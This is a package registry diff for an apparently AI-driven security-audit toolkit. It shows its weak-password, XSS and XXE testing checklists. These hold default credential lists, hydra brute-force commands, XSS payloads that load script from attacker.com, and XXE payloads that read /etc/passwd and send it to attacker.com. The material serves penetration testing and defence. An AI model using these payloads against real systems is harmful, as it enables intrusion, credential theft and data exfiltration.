@vigolium/piolium 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (271) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +117 -0
  3. package/agents/access-auditor.md +300 -0
  4. package/agents/assumption-breaker.md +154 -0
  5. package/agents/attack-designer.md +116 -0
  6. package/agents/code-scanner.md +139 -0
  7. package/agents/concurrency-auditor.md +238 -0
  8. package/agents/confirm-writer.md +257 -0
  9. package/agents/context-reviewer.md +274 -0
  10. package/agents/cross-verifier.md +165 -0
  11. package/agents/cve-scout.md +381 -0
  12. package/agents/env-builder.md +282 -0
  13. package/agents/env-profiler.md +205 -0
  14. package/agents/evidence-collector.md +140 -0
  15. package/agents/finding-grader.md +142 -0
  16. package/agents/finding-writer.md +148 -0
  17. package/agents/flow-tracer.md +106 -0
  18. package/agents/goal-backtracer.md +146 -0
  19. package/agents/history-miner.md +467 -0
  20. package/agents/independent-verifier.md +118 -0
  21. package/agents/intent-mapper.md +183 -0
  22. package/agents/longshot-collector.md +128 -0
  23. package/agents/longshot-prober.md +126 -0
  24. package/agents/patch-auditor.md +73 -0
  25. package/agents/poc-author.md +124 -0
  26. package/agents/poc-runner.md +194 -0
  27. package/agents/probe-lead.md +269 -0
  28. package/agents/red-challenger.md +101 -0
  29. package/agents/report-composer.md +208 -0
  30. package/agents/review-adjudicator.md +216 -0
  31. package/agents/spec-auditor.md +155 -0
  32. package/agents/taint-tracer.md +265 -0
  33. package/agents/test-locator.md +209 -0
  34. package/agents/threat-modeler.md +132 -0
  35. package/agents/variant-scanner.md +108 -0
  36. package/agents/variant-spotter.md +110 -0
  37. package/bin/piolium.mjs +376 -0
  38. package/extensions/piolium/_vendor/yaml.bundle.d.mts +6 -0
  39. package/extensions/piolium/_vendor/yaml.bundle.mjs +139 -0
  40. package/extensions/piolium/agent-runner.ts +322 -0
  41. package/extensions/piolium/agents.ts +266 -0
  42. package/extensions/piolium/audit-state.ts +522 -0
  43. package/extensions/piolium/bundled-resources.ts +97 -0
  44. package/extensions/piolium/candidate-scan.ts +966 -0
  45. package/extensions/piolium/command-target.ts +177 -0
  46. package/extensions/piolium/console-stream.ts +57 -0
  47. package/extensions/piolium/export-results.ts +380 -0
  48. package/extensions/piolium/findings.ts +448 -0
  49. package/extensions/piolium/heartbeat.ts +182 -0
  50. package/extensions/piolium/help.ts +234 -0
  51. package/extensions/piolium/index.ts +1865 -0
  52. package/extensions/piolium/longshot.ts +530 -0
  53. package/extensions/piolium/matcher-suggestions.ts +196 -0
  54. package/extensions/piolium/matcher-utils.ts +83 -0
  55. package/extensions/piolium/modes/balanced.ts +750 -0
  56. package/extensions/piolium/modes/confirm-bootstrap.ts +186 -0
  57. package/extensions/piolium/modes/confirm.ts +697 -0
  58. package/extensions/piolium/modes/deep.ts +917 -0
  59. package/extensions/piolium/modes/diff.ts +177 -0
  60. package/extensions/piolium/modes/lite.ts +540 -0
  61. package/extensions/piolium/modes/longshot.ts +595 -0
  62. package/extensions/piolium/modes/merge.ts +204 -0
  63. package/extensions/piolium/modes/phase-runner.ts +267 -0
  64. package/extensions/piolium/modes/reinvest.ts +546 -0
  65. package/extensions/piolium/modes/revisit.ts +279 -0
  66. package/extensions/piolium/modes.ts +48 -0
  67. package/extensions/piolium/phase-labels.ts +123 -0
  68. package/extensions/piolium/phase-status-strip.ts +92 -0
  69. package/extensions/piolium/prompt-prefix-editor.ts +39 -0
  70. package/extensions/piolium/providers/anthropic-vertex.ts +836 -0
  71. package/extensions/piolium/recon.ts +409 -0
  72. package/extensions/piolium/result-stats.ts +105 -0
  73. package/extensions/piolium/retry.ts +120 -0
  74. package/extensions/piolium/scheduler.ts +212 -0
  75. package/extensions/piolium/secrets.ts +368 -0
  76. package/extensions/piolium/tools/web-tools.ts +148 -0
  77. package/package.json +77 -0
  78. package/skills/agentic-actions-auditor/SKILL.md +327 -0
  79. package/skills/agentic-actions-auditor/references/action-profiles.md +186 -0
  80. package/skills/agentic-actions-auditor/references/cross-file-resolution.md +209 -0
  81. package/skills/agentic-actions-auditor/references/foundations.md +94 -0
  82. package/skills/agentic-actions-auditor/references/vector-a-env-var-intermediary.md +77 -0
  83. package/skills/agentic-actions-auditor/references/vector-b-direct-expression-injection.md +83 -0
  84. package/skills/agentic-actions-auditor/references/vector-c-cli-data-fetch.md +83 -0
  85. package/skills/agentic-actions-auditor/references/vector-d-pr-target-checkout.md +88 -0
  86. package/skills/agentic-actions-auditor/references/vector-e-error-log-injection.md +88 -0
  87. package/skills/agentic-actions-auditor/references/vector-f-subshell-expansion.md +82 -0
  88. package/skills/agentic-actions-auditor/references/vector-g-eval-of-ai-output.md +91 -0
  89. package/skills/agentic-actions-auditor/references/vector-h-dangerous-sandbox-configs.md +102 -0
  90. package/skills/agentic-actions-auditor/references/vector-i-wildcard-allowlists.md +88 -0
  91. package/skills/audit/SKILL.md +562 -0
  92. package/skills/audit/assets/icon.svg +7 -0
  93. package/skills/audit/hooks/scripts/validate_phase_output.py +550 -0
  94. package/skills/audit/references/adversarial-review.md +148 -0
  95. package/skills/audit/references/architecture-aware-sast.md +306 -0
  96. package/skills/audit/references/audit-workflow.md +737 -0
  97. package/skills/audit/references/chamber-protocol.md +384 -0
  98. package/skills/audit/references/creative-attack-modes.md +221 -0
  99. package/skills/audit/references/deep-analysis.md +273 -0
  100. package/skills/audit/references/domain-attack-playbooks.md +1129 -0
  101. package/skills/audit/references/knowledge-base-template.md +513 -0
  102. package/skills/audit/references/real-env-validation.md +191 -0
  103. package/skills/audit/references/report-templates.md +417 -0
  104. package/skills/audit/references/triage-and-prereqs.md +134 -0
  105. package/skills/audit/scripts/consolidate_drafts.py +554 -0
  106. package/skills/audit/scripts/partition_findings.py +152 -0
  107. package/skills/audit/scripts/rg-hotspots.sh +121 -0
  108. package/skills/audit/scripts/stamp_file_state.py +349 -0
  109. package/skills/code-reviewer/SKILL.md +65 -0
  110. package/skills/codeql/SKILL.md +281 -0
  111. package/skills/codeql/references/build-fixes.md +90 -0
  112. package/skills/codeql/references/diagnostic-query-templates.md +339 -0
  113. package/skills/codeql/references/extension-yaml-format.md +209 -0
  114. package/skills/codeql/references/important-only-suite.md +153 -0
  115. package/skills/codeql/references/language-details.md +207 -0
  116. package/skills/codeql/references/macos-arm64e-workaround.md +179 -0
  117. package/skills/codeql/references/performance-tuning.md +111 -0
  118. package/skills/codeql/references/quality-assessment.md +172 -0
  119. package/skills/codeql/references/ruleset-catalog.md +63 -0
  120. package/skills/codeql/references/run-all-suite.md +92 -0
  121. package/skills/codeql/references/sarif-processing.md +79 -0
  122. package/skills/codeql/references/threat-models.md +51 -0
  123. package/skills/codeql/workflows/build-database.md +280 -0
  124. package/skills/codeql/workflows/create-data-extensions.md +261 -0
  125. package/skills/codeql/workflows/run-analysis.md +301 -0
  126. package/skills/differential-review/SKILL.md +220 -0
  127. package/skills/differential-review/adversarial.md +203 -0
  128. package/skills/differential-review/methodology.md +234 -0
  129. package/skills/differential-review/patterns.md +300 -0
  130. package/skills/differential-review/reporting.md +369 -0
  131. package/skills/fp-check/SKILL.md +125 -0
  132. package/skills/fp-check/references/bug-class-verification.md +114 -0
  133. package/skills/fp-check/references/deep-verification.md +143 -0
  134. package/skills/fp-check/references/evidence-templates.md +91 -0
  135. package/skills/fp-check/references/false-positive-patterns.md +115 -0
  136. package/skills/fp-check/references/gate-reviews.md +27 -0
  137. package/skills/fp-check/references/standard-verification.md +78 -0
  138. package/skills/insecure-defaults/SKILL.md +117 -0
  139. package/skills/insecure-defaults/references/examples.md +409 -0
  140. package/skills/last30days/SKILL.md +444 -0
  141. package/skills/sarif-parsing/SKILL.md +483 -0
  142. package/skills/sarif-parsing/resources/jq-queries.md +162 -0
  143. package/skills/sarif-parsing/resources/sarif_helpers.py +331 -0
  144. package/skills/security-threat-model/LICENSE.txt +201 -0
  145. package/skills/security-threat-model/SKILL.md +81 -0
  146. package/skills/security-threat-model/agents/openai.yaml +4 -0
  147. package/skills/security-threat-model/references/prompt-template.md +255 -0
  148. package/skills/security-threat-model/references/security-controls-and-assets.md +32 -0
  149. package/skills/semgrep/SKILL.md +212 -0
  150. package/skills/semgrep/references/rulesets.md +162 -0
  151. package/skills/semgrep/references/scan-modes.md +110 -0
  152. package/skills/semgrep/references/scanner-task-prompt.md +140 -0
  153. package/skills/semgrep/scripts/merge_sarif.py +203 -0
  154. package/skills/semgrep/workflows/scan-workflow.md +311 -0
  155. package/skills/semgrep-rule-creator/SKILL.md +168 -0
  156. package/skills/semgrep-rule-creator/references/quick-reference.md +202 -0
  157. package/skills/semgrep-rule-creator/references/workflow.md +240 -0
  158. package/skills/semgrep-rule-variant-creator/SKILL.md +205 -0
  159. package/skills/semgrep-rule-variant-creator/references/applicability-analysis.md +250 -0
  160. package/skills/semgrep-rule-variant-creator/references/language-syntax-guide.md +324 -0
  161. package/skills/semgrep-rule-variant-creator/references/workflow.md +518 -0
  162. package/skills/sharp-edges/SKILL.md +292 -0
  163. package/skills/sharp-edges/references/auth-patterns.md +252 -0
  164. package/skills/sharp-edges/references/case-studies.md +274 -0
  165. package/skills/sharp-edges/references/config-patterns.md +333 -0
  166. package/skills/sharp-edges/references/crypto-apis.md +190 -0
  167. package/skills/sharp-edges/references/lang-c.md +205 -0
  168. package/skills/sharp-edges/references/lang-csharp.md +285 -0
  169. package/skills/sharp-edges/references/lang-go.md +270 -0
  170. package/skills/sharp-edges/references/lang-java.md +263 -0
  171. package/skills/sharp-edges/references/lang-javascript.md +269 -0
  172. package/skills/sharp-edges/references/lang-kotlin.md +265 -0
  173. package/skills/sharp-edges/references/lang-php.md +245 -0
  174. package/skills/sharp-edges/references/lang-python.md +274 -0
  175. package/skills/sharp-edges/references/lang-ruby.md +273 -0
  176. package/skills/sharp-edges/references/lang-rust.md +272 -0
  177. package/skills/sharp-edges/references/lang-swift.md +287 -0
  178. package/skills/sharp-edges/references/language-specific.md +588 -0
  179. package/skills/spec-to-code-compliance/SKILL.md +357 -0
  180. package/skills/spec-to-code-compliance/resources/COMPLETENESS_CHECKLIST.md +69 -0
  181. package/skills/spec-to-code-compliance/resources/IR_EXAMPLES.md +417 -0
  182. package/skills/spec-to-code-compliance/resources/OUTPUT_REQUIREMENTS.md +105 -0
  183. package/skills/supply-chain-risk-auditor/SKILL.md +67 -0
  184. package/skills/supply-chain-risk-auditor/resources/results-template.md +41 -0
  185. package/skills/variant-analysis/METHODOLOGY.md +327 -0
  186. package/skills/variant-analysis/SKILL.md +142 -0
  187. package/skills/variant-analysis/resources/codeql/cpp.ql +119 -0
  188. package/skills/variant-analysis/resources/codeql/go.ql +69 -0
  189. package/skills/variant-analysis/resources/codeql/java.ql +71 -0
  190. package/skills/variant-analysis/resources/codeql/javascript.ql +63 -0
  191. package/skills/variant-analysis/resources/codeql/python.ql +80 -0
  192. package/skills/variant-analysis/resources/semgrep/cpp.yaml +98 -0
  193. package/skills/variant-analysis/resources/semgrep/go.yaml +63 -0
  194. package/skills/variant-analysis/resources/semgrep/java.yaml +61 -0
  195. package/skills/variant-analysis/resources/semgrep/javascript.yaml +60 -0
  196. package/skills/variant-analysis/resources/semgrep/python.yaml +72 -0
  197. package/skills/variant-analysis/resources/variant-report-template.md +75 -0
  198. package/skills/vuln-report/SKILL.md +137 -0
  199. package/skills/vuln-report/agents/openai.yaml +4 -0
  200. package/skills/vuln-report/references/report-template.md +135 -0
  201. package/skills/wooyun-legacy/SKILL.md +367 -0
  202. package/skills/wooyun-legacy/references/bank-penetration.md +222 -0
  203. package/skills/wooyun-legacy/references/checklists/command-execution-checklist.md +119 -0
  204. package/skills/wooyun-legacy/references/checklists/csrf-checklist.md +74 -0
  205. package/skills/wooyun-legacy/references/checklists/file-upload-checklist.md +108 -0
  206. package/skills/wooyun-legacy/references/checklists/info-disclosure-checklist.md +114 -0
  207. package/skills/wooyun-legacy/references/checklists/logic-flaws-checklist.md +95 -0
  208. package/skills/wooyun-legacy/references/checklists/misconfig-checklist.md +124 -0
  209. package/skills/wooyun-legacy/references/checklists/path-traversal-checklist.md +87 -0
  210. package/skills/wooyun-legacy/references/checklists/rce-checklist.md +93 -0
  211. package/skills/wooyun-legacy/references/checklists/sql-injection-checklist.md +97 -0
  212. package/skills/wooyun-legacy/references/checklists/ssrf-checklist.md +99 -0
  213. package/skills/wooyun-legacy/references/checklists/unauthorized-access-checklist.md +89 -0
  214. package/skills/wooyun-legacy/references/checklists/weak-password-checklist.md +115 -0
  215. package/skills/wooyun-legacy/references/checklists/xss-checklist.md +103 -0
  216. package/skills/wooyun-legacy/references/checklists/xxe-checklist.md +130 -0
  217. package/skills/wooyun-legacy/references/info-disclosure.md +975 -0
  218. package/skills/wooyun-legacy/references/logic-flaws.md +721 -0
  219. package/skills/wooyun-legacy/references/path-traversal.md +1191 -0
  220. package/skills/wooyun-legacy/references/telecom-penetration.md +156 -0
  221. package/skills/wooyun-legacy/references/unauthorized-access.md +980 -0
  222. package/skills/wooyun-legacy/references/xss.md +746 -0
  223. package/skills/zeroize-audit/SKILL.md +371 -0
  224. package/skills/zeroize-audit/configs/c.yaml +21 -0
  225. package/skills/zeroize-audit/configs/default.yaml +128 -0
  226. package/skills/zeroize-audit/configs/rust.yaml +83 -0
  227. package/skills/zeroize-audit/prompts/report_template.md +238 -0
  228. package/skills/zeroize-audit/prompts/system.md +163 -0
  229. package/skills/zeroize-audit/prompts/task.md +97 -0
  230. package/skills/zeroize-audit/references/compile-commands.md +231 -0
  231. package/skills/zeroize-audit/references/detection-strategy.md +191 -0
  232. package/skills/zeroize-audit/references/ir-analysis.md +252 -0
  233. package/skills/zeroize-audit/references/mcp-analysis.md +221 -0
  234. package/skills/zeroize-audit/references/poc-generation.md +470 -0
  235. package/skills/zeroize-audit/references/rust-zeroization-patterns.md +867 -0
  236. package/skills/zeroize-audit/schemas/input.json +83 -0
  237. package/skills/zeroize-audit/schemas/output.json +140 -0
  238. package/skills/zeroize-audit/tools/analyze_asm.sh +202 -0
  239. package/skills/zeroize-audit/tools/analyze_cfg.py +381 -0
  240. package/skills/zeroize-audit/tools/analyze_heap.sh +211 -0
  241. package/skills/zeroize-audit/tools/analyze_ir_semantic.py +429 -0
  242. package/skills/zeroize-audit/tools/diff_ir.sh +135 -0
  243. package/skills/zeroize-audit/tools/diff_rust_mir.sh +189 -0
  244. package/skills/zeroize-audit/tools/emit_asm.sh +67 -0
  245. package/skills/zeroize-audit/tools/emit_ir.sh +77 -0
  246. package/skills/zeroize-audit/tools/emit_rust_asm.sh +178 -0
  247. package/skills/zeroize-audit/tools/emit_rust_ir.sh +150 -0
  248. package/skills/zeroize-audit/tools/emit_rust_mir.sh +158 -0
  249. package/skills/zeroize-audit/tools/extract_compile_flags.py +284 -0
  250. package/skills/zeroize-audit/tools/generate_poc.py +1329 -0
  251. package/skills/zeroize-audit/tools/mcp/apply_confidence_gates.py +113 -0
  252. package/skills/zeroize-audit/tools/mcp/check_mcp.sh +68 -0
  253. package/skills/zeroize-audit/tools/mcp/normalize_mcp_evidence.py +125 -0
  254. package/skills/zeroize-audit/tools/scripts/check_llvm_patterns.py +481 -0
  255. package/skills/zeroize-audit/tools/scripts/check_mir_patterns.py +554 -0
  256. package/skills/zeroize-audit/tools/scripts/check_rust_asm.py +424 -0
  257. package/skills/zeroize-audit/tools/scripts/check_rust_asm_aarch64.py +300 -0
  258. package/skills/zeroize-audit/tools/scripts/check_rust_asm_x86.py +283 -0
  259. package/skills/zeroize-audit/tools/scripts/find_dangerous_apis.py +375 -0
  260. package/skills/zeroize-audit/tools/scripts/semantic_audit.py +923 -0
  261. package/skills/zeroize-audit/tools/track_dataflow.sh +196 -0
  262. package/skills/zeroize-audit/tools/validate_rust_toolchain.sh +298 -0
  263. package/skills/zeroize-audit/workflows/phase-0-preflight.md +150 -0
  264. package/skills/zeroize-audit/workflows/phase-1-source-analysis.md +144 -0
  265. package/skills/zeroize-audit/workflows/phase-2-compiler-analysis.md +139 -0
  266. package/skills/zeroize-audit/workflows/phase-3-interim-report.md +46 -0
  267. package/skills/zeroize-audit/workflows/phase-4-poc-generation.md +46 -0
  268. package/skills/zeroize-audit/workflows/phase-5-poc-validation.md +136 -0
  269. package/skills/zeroize-audit/workflows/phase-6-final-report.md +44 -0
  270. package/skills/zeroize-audit/workflows/phase-7-test-generation.md +42 -0
  271. package/themes/piolium-srcery.json +94 -0
@@ -0,0 +1,115 @@
1
+ # Weak Password Testing Checklist
2
+ > Derived from ~75 real-world vulnerability cases (WooYun 2010-2016)
3
+
4
+ ## High-Risk Parameters to Test
5
+ | Parameter | Context |
6
+ |-----------|---------|
7
+ | `id`, `uid` | User identifiers for enumeration |
8
+ | `cmd` | Command execution post-auth |
9
+ | `action` | Admin action parameters |
10
+ | `dir` | Directory browsing post-auth |
11
+ | `systemID` | System selector parameters |
12
+ | `APP_UNIT` | Application unit identifiers |
13
+ | `site_id` | Multi-tenant site selectors |
14
+
15
+ ## Most Common Default Credentials
16
+ | Username | Password | Context |
17
+ |----------|----------|---------|
18
+ | `admin` | `admin` | Web application admin panels |
19
+ | `admin` | `123456` | Chinese web applications |
20
+ | `admin` | `admin123` | CMS backends |
21
+ | `admin` | `000000` | Enterprise systems |
22
+ | `admin` | `password` | Generic default |
23
+ | `weblogic` | `weblogic` | Oracle WebLogic console |
24
+ | `weblogic` | `12345678` | WebLogic (alternate) |
25
+ | `root` | `root` | Database, SSH |
26
+ | `test` | `test` | Development accounts |
27
+ | `sa` | *(empty)* | MSSQL default |
28
+ | `prtgadmin` | `prtgadmin` | PRTG monitoring |
29
+ | `tomcat` | `tomcat` | Apache Tomcat manager |
30
+
31
+ ## Common Attack Patterns (by frequency)
32
+ 1. **Admin panel weak password** (most common)
33
+ - CMS/OA systems with default `admin/123456`
34
+ - No account lockout after failed attempts
35
+ 2. **Service weak password**
36
+ - WebLogic, JBoss, Tomcat management consoles
37
+ - Database services (MySQL, MSSQL, Oracle)
38
+ - Monitoring platforms (Zabbix, PRTG, Nagios)
39
+ 3. **Infrastructure weak password**
40
+ - SSH/Telnet with default credentials
41
+ - Router/switch admin interfaces
42
+ - IPMI/BMC management (e.g., Huawei Tecal)
43
+ 4. **Password → Shell escalation chain**
44
+ - WebLogic console → Deploy WAR → Webshell
45
+ - Tomcat manager → Deploy WAR → Code execution
46
+ - JBoss JMXInvokerServlet → Remote code execution
47
+ - Database access → OS command via xp_cmdshell/UDF
48
+
49
+ ## High-Value Weak Password Targets
50
+ | Service | Default Port | Default Creds |
51
+ |---------|-------------|---------------|
52
+ | WebLogic | 7001 | weblogic/weblogic |
53
+ | Tomcat Manager | 8080 | tomcat/tomcat |
54
+ | JBoss | 8080 | admin/admin |
55
+ | phpMyAdmin | 80/8080 | root/*(empty)* |
56
+ | Jenkins | 8080 | *(no auth)* |
57
+ | Zabbix | 10051 | Admin/zabbix |
58
+ | Nagios | 80 | nagiosadmin/nagios |
59
+ | Grafana | 3000 | admin/admin |
60
+ | Router | 80 | admin/admin |
61
+ | VPN | 443 | *(varies)* |
62
+
63
+ ## Quick Test Vectors
64
+ ```
65
+ # Top password list for Chinese web applications
66
+ admin
67
+ 123456
68
+ admin123
69
+ 000000
70
+ password
71
+ 12345678
72
+ test
73
+ 888888
74
+ 666666
75
+ abc123
76
+ admin888
77
+ qwerty
78
+
79
+ # Username enumeration
80
+ admin, administrator, root, test, guest
81
+ manager, system, sysadmin, operator
82
+ [company-name], [domain-prefix]
83
+
84
+ # Service-specific brute force
85
+ hydra -l admin -P passwords.txt TARGET http-post-form
86
+ hydra -l root -P passwords.txt TARGET ssh
87
+ hydra -l sa -P passwords.txt TARGET mssql
88
+ ```
89
+
90
+ ## Post-Authentication Escalation
91
+ 1. **WebLogic** → Deploy WAR package → Webshell
92
+ 2. **Tomcat** → Manager app → Deploy WAR → Shell
93
+ 3. **JBoss** → JMXInvokerServlet → Remote execution
94
+ 4. **phpMyAdmin** → SELECT INTO OUTFILE → Webshell
95
+ 5. **Database** → Read config files → Internal credentials
96
+ 6. **OA System** → Internal documents → VPN credentials
97
+ 7. **Email** → Password reset → Other system access
98
+
99
+ ## Testing Methodology
100
+ 1. Enumerate admin panel and service login pages
101
+ 2. Test default credentials for identified services
102
+ 3. Attempt common username/password combinations
103
+ 4. Check for account lockout policies
104
+ 5. Test rate limiting on login endpoints
105
+ 6. Verify password complexity requirements
106
+ 7. Check for credential reuse across services
107
+ 8. Test post-authentication escalation paths
108
+
109
+ ## Common Root Causes
110
+ - Default credentials never changed after installation
111
+ - No password complexity policy enforcement
112
+ - No account lockout or rate limiting
113
+ - Management consoles exposed to internet
114
+ - Same password reused across multiple services
115
+ - Development/test accounts left in production
@@ -0,0 +1,103 @@
1
+ # XSS Testing Checklist
2
+ > Derived from 46 real-world vulnerability cases (WooYun 2010-2016)
3
+
4
+ ## High-Risk Parameters to Test
5
+ | Parameter | Frequency | Notes |
6
+ |-----------|-----------|-------|
7
+ | `id` | 2x | Reflected in page content |
8
+ | `photourl` | 1x | Image URL parameters; direct injection |
9
+ | `w` / `kwd` | 1x | Search keyword parameters |
10
+ | `url` / `sohuurl` | 1x | URL redirect/embed parameters |
11
+ | `uid` / `status` | 1x | User profile fields |
12
+ | `auth_str` | 1x | Authentication string reflected in page |
13
+ | `m` | 1x | Module/method selectors |
14
+ | `rf` | 1x | Referrer parameters |
15
+ | `vers` | 1x | Version parameters in Flash embeds |
16
+ | `word` / `get` | 1x | Search and query parameters |
17
+
18
+ ## XSS Type Distribution
19
+ | Type | Observed Cases | Risk |
20
+ |------|---------------|------|
21
+ | Stored XSS | ~65% | Critical - persists, affects all viewers |
22
+ | Reflected XSS | ~25% | High - requires victim click |
23
+ | DOM-based XSS | ~10% | High - client-side only |
24
+
25
+ ## Common Attack Vectors (by frequency)
26
+
27
+ ### 1. Stored XSS via User Input Fields
28
+ - **Forum posts / comments**: Most common stored XSS entry point
29
+ - **Profile fields**: Username, bio, personal description
30
+ - **Blog content**: Post titles and body content
31
+ - **Mobile app submissions**: WAP pages with weaker filtering than PC
32
+ - **Forwarded content**: Social sharing features re-rendering HTML
33
+
34
+ ### 2. Reflected XSS via URL Parameters
35
+ - Search boxes and keyword parameters
36
+ - Error pages reflecting user input
37
+ - Redirect URL parameters
38
+ - Image/resource URL parameters
39
+
40
+ ### 3. Flash-Based XSS
41
+ - SWF files with `allowscriptaccess="always"`
42
+ - Flash embed tags loading external SWF files
43
+ - ExternalInterface.call() in ActionScript
44
+
45
+ ## Payload Catalog
46
+
47
+ ### Basic Detection
48
+ ```
49
+ "><script>alert(1)</script>
50
+ <script>alert(document.cookie)</script>
51
+ <img src=x onerror=alert(1)>
52
+ ```
53
+
54
+ ### Filter Bypass Payloads
55
+ ```
56
+ <img src=# onerror=alert(/wooyun/)>
57
+ <select autofocus onfocus=alert(1)>
58
+ <textarea autofocus onfocus=alert(1)>
59
+ " onfocus="alert(1)" autofocus="
60
+ " onmouseout=javascript:alert(document.cookie)>
61
+ <iframe src=javascript:alert(1)>
62
+ ```
63
+
64
+ ### Encoded Payloads
65
+ ```
66
+ <img/src=1 onerror=(function(){window.s=document.
67
+ createElement(String.fromCharCode(115,99,114,105,
68
+ 112,116));window.s.src=String.fromCharCode(104,116,
69
+ 116,112,...);document.body.appendChild(window.s)})()>
70
+ ```
71
+
72
+ ### External Script Loading
73
+ ```
74
+ <script src=//attacker.com/xss.js></script>
75
+ "><script src=//short.example/xxxxx></script>
76
+ ```
77
+
78
+ ## Bypass Techniques
79
+ - **Tag alternatives**: Use `<img>`, `<select>`, `<textarea>`, `<svg>` when `<script>` is filtered
80
+ - **Event handlers**: `onfocus`, `onerror`, `onmouseout`, `onload` as alternatives to inline script
81
+ - **Autofocus trick**: `<input autofocus onfocus=alert(1)>` triggers without user interaction
82
+ - **HTML5 features**: New tags and event handlers bypass legacy filters
83
+ - **Flash embed**: `allowscriptaccess=always` enables JS execution from SWF
84
+ - **Case variation and encoding**: Mix case, use HTML entities, URL encoding
85
+ - **DOM context escape**: Close existing tags with `">` before injecting
86
+
87
+ ## Quick Test Vectors
88
+ ```
89
+ 1. "><script>alert(1)</script> (basic reflected)
90
+ 2. <img src=x onerror=alert(1)> (tag alternative)
91
+ 3. " autofocus onfocus="alert(1) (attribute injection)
92
+ 4. <svg/onload=alert(1)> (SVG context)
93
+ 5. javascript:alert(1) (URL context)
94
+ 6. </script><script>alert(1)</script> (script context escape)
95
+ ```
96
+
97
+ ## High-Value Targets
98
+ - **Comment/review systems**: Stored XSS reaching admin panels
99
+ - **User profile pages**: Username/bio fields rendered on public pages
100
+ - **Search results pages**: Reflected XSS via keyword parameters
101
+ - **Mobile/WAP versions**: Often weaker filtering than desktop
102
+ - **Social sharing features**: Content re-rendered across contexts
103
+ - **Admin panels via blind XSS**: Input fields reviewed by admins
@@ -0,0 +1,130 @@
1
+ # XXE (XML External Entity) Testing Checklist
2
+ > Derived from 25 real-world vulnerability cases (WooYun 2010-2016)
3
+
4
+ ## Entry Points to Test
5
+ | Entry Point | Frequency | Notes |
6
+ |-------------|-----------|-------|
7
+ | SOAP/WSDL web services | ~35% | Axis2, XFire, CXF endpoints |
8
+ | Document upload (DOCX/XLSX) | ~20% | Office XML parsed server-side |
9
+ | XML API endpoints | ~20% | REST/SOAP accepting XML input |
10
+ | WeChat/messaging API callbacks | ~10% | Third-party integration XML parsing |
11
+ | File preview functionality | ~10% | Server-side document rendering |
12
+ | XML-RPC endpoints | ~5% | Legacy RPC interfaces |
13
+
14
+ ## Vulnerability Types Observed
15
+ | Type | Count | Description |
16
+ |------|-------|-------------|
17
+ | Blind XXE (OOB) | ~40% | No direct response; exfiltrate via external DTD |
18
+ | Direct file read | ~35% | File contents returned in response |
19
+ | SSRF via XXE | ~15% | Internal port scanning, service access |
20
+ | DoS via entity expansion | ~10% | Billion laughs / recursive entities |
21
+
22
+ ## Common Attack Payloads
23
+
24
+ ### 1. Basic File Read (Direct XXE)
25
+ ```xml
26
+ <?xml version="1.0" encoding="UTF-8"?>
27
+ <!DOCTYPE foo [
28
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
29
+ ]>
30
+ <root>&xxe;</root>
31
+ ```
32
+
33
+ ### 2. Blind XXE with External DTD (OOB)
34
+ **Malicious DTD hosted on attacker server:**
35
+ ```xml
36
+ <!ENTITY % file SYSTEM "file:///etc/passwd">
37
+ <!ENTITY % eval "<!ENTITY &#x25; send SYSTEM
38
+ 'http://attacker.com/?data=%file;'>">
39
+ %eval;
40
+ %send;
41
+ ```
42
+
43
+ **Injection payload:**
44
+ ```xml
45
+ <?xml version="1.0" encoding="UTF-8"?>
46
+ <!DOCTYPE root [
47
+ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
48
+ %remote;
49
+ ]>
50
+ ```
51
+
52
+ ### 3. Directory Listing via Gopher/File Protocol
53
+ ```xml
54
+ <!ENTITY % a SYSTEM "file:///">
55
+ <!ENTITY % b "<!ENTITY &#37; c SYSTEM
56
+ 'gopher://attacker.com:80/%a;'>">
57
+ %b;
58
+ %c;
59
+ ```
60
+
61
+ ### 4. SSRF via XXE (Port Scanning)
62
+ ```xml
63
+ <!DOCTYPE foo [
64
+ <!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
65
+ ]>
66
+ <root>&xxe;</root>
67
+ ```
68
+ Response time indicates port state: slow = open, fast = closed.
69
+
70
+ ### 5. DOCX-Based XXE
71
+ Decompress .docx, inject entity in `word/document.xml`:
72
+ ```xml
73
+ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
74
+ <!DOCTYPE ANY [
75
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
76
+ ]>
77
+ <!-- Reference &xxe; within document body -->
78
+ ```
79
+
80
+ ## Common Vulnerable Endpoints
81
+ ```
82
+ /services/ServiceName?wsdl (Axis2/CXF SOAP)
83
+ /webservice/services/xxx (Java web services)
84
+ /live800/services/IVerification (Customer service platforms)
85
+ /opes/preview.do (Document preview)
86
+ /?wsdl (WSDL discovery)
87
+ /xmlrpc.php (XML-RPC)
88
+ ```
89
+
90
+ ## Bypass Techniques
91
+ - **Protocol alternatives**: When `file://` is blocked, try `gopher://`, `php://`, `data://`
92
+ - **Parameter entities**: Use `%entity;` instead of `&entity;` for blind XXE
93
+ - **Encoding tricks**: UTF-7, UTF-16 encoding to bypass XML filters
94
+ - **DOCX/XLSX containers**: Embed XXE in Office XML documents
95
+ - **Content-Type override**: Set `Content-Type: application/xml` on SOAP endpoints
96
+
97
+ ## Quick Test Vectors
98
+ ```
99
+ 1. Add DOCTYPE with external entity to any XML input
100
+ 2. Upload crafted DOCX with XXE in word/document.xml
101
+ 3. Test WSDL endpoints with XML entity injection
102
+ 4. Use Blind XXE with OOB DTD when no direct response
103
+ 5. Test SSRF via entity pointing to internal services
104
+ 6. Check for simplexml_load_string() in PHP (WeChat APIs)
105
+ ```
106
+
107
+ ## Affected Technologies
108
+ | Technology | Cases | Notes |
109
+ |------------|-------|-------|
110
+ | Java (Axis2, XFire, CXF) | ~50% | SOAP services most vulnerable |
111
+ | PHP (simplexml_load_string) | ~20% | WeChat SDK, CMS platforms |
112
+ | Java (document processing) | ~15% | DOCX/XLSX preview features |
113
+ | .NET (XML parsers) | ~10% | Default parser configurations |
114
+ | XML-RPC libraries | ~5% | Legacy RPC implementations |
115
+
116
+ ## Root Causes
117
+ | Cause | Frequency |
118
+ |-------|-----------|
119
+ | Default XML parser allows external entities | Most common |
120
+ | No DTD processing restrictions | Very common |
121
+ | WeChat SDK sample code using unsafe parser | Common |
122
+ | Document preview parsing XML without restrictions | Common |
123
+ | Exposed WSDL/SOAP endpoints | Common |
124
+
125
